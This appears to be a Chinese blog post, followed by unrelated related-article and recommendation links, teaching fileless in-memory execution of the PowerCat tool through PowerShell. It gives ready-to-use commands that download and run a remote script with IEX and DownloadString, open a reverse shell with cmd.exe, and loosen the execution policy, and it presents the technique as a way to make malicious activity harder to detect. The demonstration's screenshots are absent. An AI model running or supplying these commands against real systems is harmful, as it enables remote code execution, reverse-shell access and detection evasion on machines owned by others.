声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。

无文件落地执行(fileless execution)是一种技术,用于避免在磁盘上留下文件痕迹,使得恶意行为更难被检测到。PowerCat 是一个基于 PowerShell 的渗透测试工具,可以使用 PowerShell 的特性实现无文件落地执行。

  1. 准备 PowerCat 脚本:将 PowerCat 的脚本托管在一个可以访问的远程服务器上,比如 GitHub Gist、Pastebin 或自建的 HTTP 服务器。

  2. 使用 PowerShell 命令直接从远程服务器下载并执行脚本

    • 使用 IEX(Invoke-Expression)和 Invoke-WebRequestInvoke-RestMethod 组合可以直接在内存中加载和执行脚本。
    • 以下是一个示例命令,通过 PowerShell 从远程服务器下载并执行 PowerCat:
IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1')

或者使用 Invoke-RestMethod

IEX (Invoke-RestMethod -Uri 'https://example.com/path/to/powercat.ps1')
  1. 执行 PowerCat 命令:在内存中加载 PowerCat 后,直接使用 PowerCat 提供的功能进行渗透测试。例如,使用 PowerCat 建立反向 shell:
powercat -c target_ip -p target_port -e cmd.exe
完整示例

假设 PowerCat 脚本托管在 https://example.com/path/to/powercat.ps1

IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1'); powercat -c target_ip -p target_port -e cmd.exe

此命令会在内存中下载并执行 PowerCat 脚本,并立即通过 PowerCat 建立反向 shell 连接。

注意事项
  • 安全性:确保托管脚本的远程服务器是安全的,防止脚本被篡改。

  • 权限:PowerShell 执行策略可能会限制脚本执行。需要以管理员权限运行 PowerShell 或调整执行策略:

Set-ExecutionPolicy Unrestricted -Scope Process
  • 检测和防御:尽管无文件落地执行可以降低被检测的可能性,但仍有其他检测和防御手段,例如基于行为的检测,因此在实际渗透测试中要综合考虑多种手段。

通过这些步骤,你可以实现 PowerCat 的无文件落地执行,直接在内存中下载并执行 PowerCat 脚本。

演示

远端机开启web服务,用于被控端下载powercat 脚本

攻击机开启监听

执行命令

攻击端成功接收

查看被控端执行目录文件列表,不存在powercat.ps1 文件,说明文件未落地执行,直接在内存中执行。

当然除了使用 IEX 进行无文件落地,还可以使用的方法有 4 种。

欢迎关注 公众号 “D1TASec” 查看文章。

Powercat 无文件落地执行技巧,你确定不进来看看?的更多相关文章

  1. 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

    无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...

  2. linux无文件执行— fexecve 揭秘

    前言 良好的习惯是人生产生复利的有力助手. 继续2020年的flag,至少每周更一篇文章. 无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux上 ...

  3. android无后缀二进制执行文件替代apk实现程序功能

    韩梦飞沙  韩亚飞  313134555@qq.com  yue31313  han_meng_fei_sha android无后缀二进制执行文件替代apk实现程序功能 实现将data/Android ...

  4. 无插件Vim编程技巧

    无插件Vim编程技巧 http://bbs.byr.cn/#!article/buptAUTA/59钻风 2014-03-24 09:43:46 发表于:vim  相信大家看过<简明Vim教程& ...

  5. 无插件VIM编程技巧(网摘)

    无插件VIM编程技巧 原文出处:[陈皓 coolshell] 相信大家看过<简明Vim教程>也玩了<Vim大冒险>的游戏了,相信大家对Vim都有一个好的入门了.我在这里把我日常 ...

  6. 渗透测试之无文件渗透简单使用-windows

    无文件渗透测试工作原理:无文件恶意程序最初是由卡巴斯基在2014年发现的,一直不算是什么主流的攻击方式,直到此次事件的发生.说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上,反而是将pa ...

  7. 在 tornado 中异步无阻塞的执行耗时任务

    在 tornado 中异步无阻塞的执行耗时任务 在 linux 上 tornado 是基于 epoll 的事件驱动框架,在网络事件上是无阻塞的.但是因为 tornado 自身是单线程的,所以如果我们在 ...

  8. 从无文件技术到使用隐写术:检查Powload的演变

    来源:https://blog.trendmicro.com/trendlabs-security-intelligence/from-fileless-techniques-to-using-ste ...

  9. BAT文件语法和技巧(bat文件的编写及使用)

    源文链接:http://www.jb51.net/article/5828.htm 比较有用的东比较有用的东西 首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们 ...

  10. BAT文件语法和技巧

    首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任 ...

随机推荐

  1. .NET使用Graphql的演示

    Graphql是什么?先来一段AI给的回答: GraphQL是一种为API设计的查询语言,与REST相比,它提供了更高效.强大和灵活的方法来与数据交互.GraphQL由Facebook于2012年开发 ...

  2. .NET 开源餐饮系统支持桌面与Web版

    前言 推荐一款优秀的开源免费餐饮系统-蜀味正道,专门针对餐饮行业开发的桌面应用程序,帮助大家提供全面的管理解决方案. 项目介绍 蜀味正道是一款借助 Panuon.UI.Silver控件库开发的餐饮软件 ...

  3. AI五子棋_06 坐标表示到图形表示的算法 Python实现

    AI五子棋 第六步 恭喜你到达第六步! 你已经成功实现了公钥体系最为关键的部分.现在服务器相信你就是你了,下面开始你的战斗. 五子棋的棋盘有15×15个交点,一共有225个交点,我们可以在每一个交点上 ...

  4. C语言实战项目——学生试卷分数统计

    1.题目要求 作为教师,考试以后对试卷进行分析和研究是必须做的一项工作,假定某学校要求老师在考试之后填写的一个表格,并要求教师根据考试分数分布情况画出直方图.下面就来解决这个实际问题. 2.题目分析 ...

  5. 噢!JavaScript (2):对数组要小心使用delete

    最近在重写我自己的静态博客生成器,虽然遇到的小问题挺多,但今早这个问题令我印象深刻. 发现问题 博客的文章基础数据储存在main.json中,其中专门有数组dateindex来储存经过排列后的文章顺序 ...

  6. 使用 vscode 编译+运行 typescropt Mac win同理

    一..d.ts文件最好在src/typings 目录下,可在tsconfig.json 文件配置 二.vs 监听文件变化,自动编译ts文件 tsconfig.json { "compiler ...

  7. Goland编译/运行

    例子程序: 3种编译方式 方式1:直接Run 编译/运行成功,且自动创建一个文件类型的编译规则. 上图中配置说明: 1.Name:为本条配置信息的名称,可以自定义,也可以使用系统默认的值 2.Run ...

  8. 让性能提升56%的Vue3.5响应式重构之“版本计数”

    前言 Vue3.5响应式重构主要分为两部分:双向链表和版本计数.在上一篇文章中我们讲了 双向链表 ,这篇文章我们接着来讲版本计数. 欧阳年底也要毕业了,加入欧阳的面试交流群(分享内推信息).高质量vu ...

  9. Redis示例配置文件

    # 注意单位问题:当需要设置内存大小的时候,可以使用类似1k.5GB.4M这样的常见格式: # # 1k => 1000 bytes # 1m => # 1kb => 1024 by ...

  10. Python 潮流周刊#76:用 50 行 Python 代码实现 BASIC(摘要)

    本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章.教程.开源项目.软件工具.播客和视频.热门话题等内容.愿景:帮助所有读者精进 Python 技术,并增长职 ...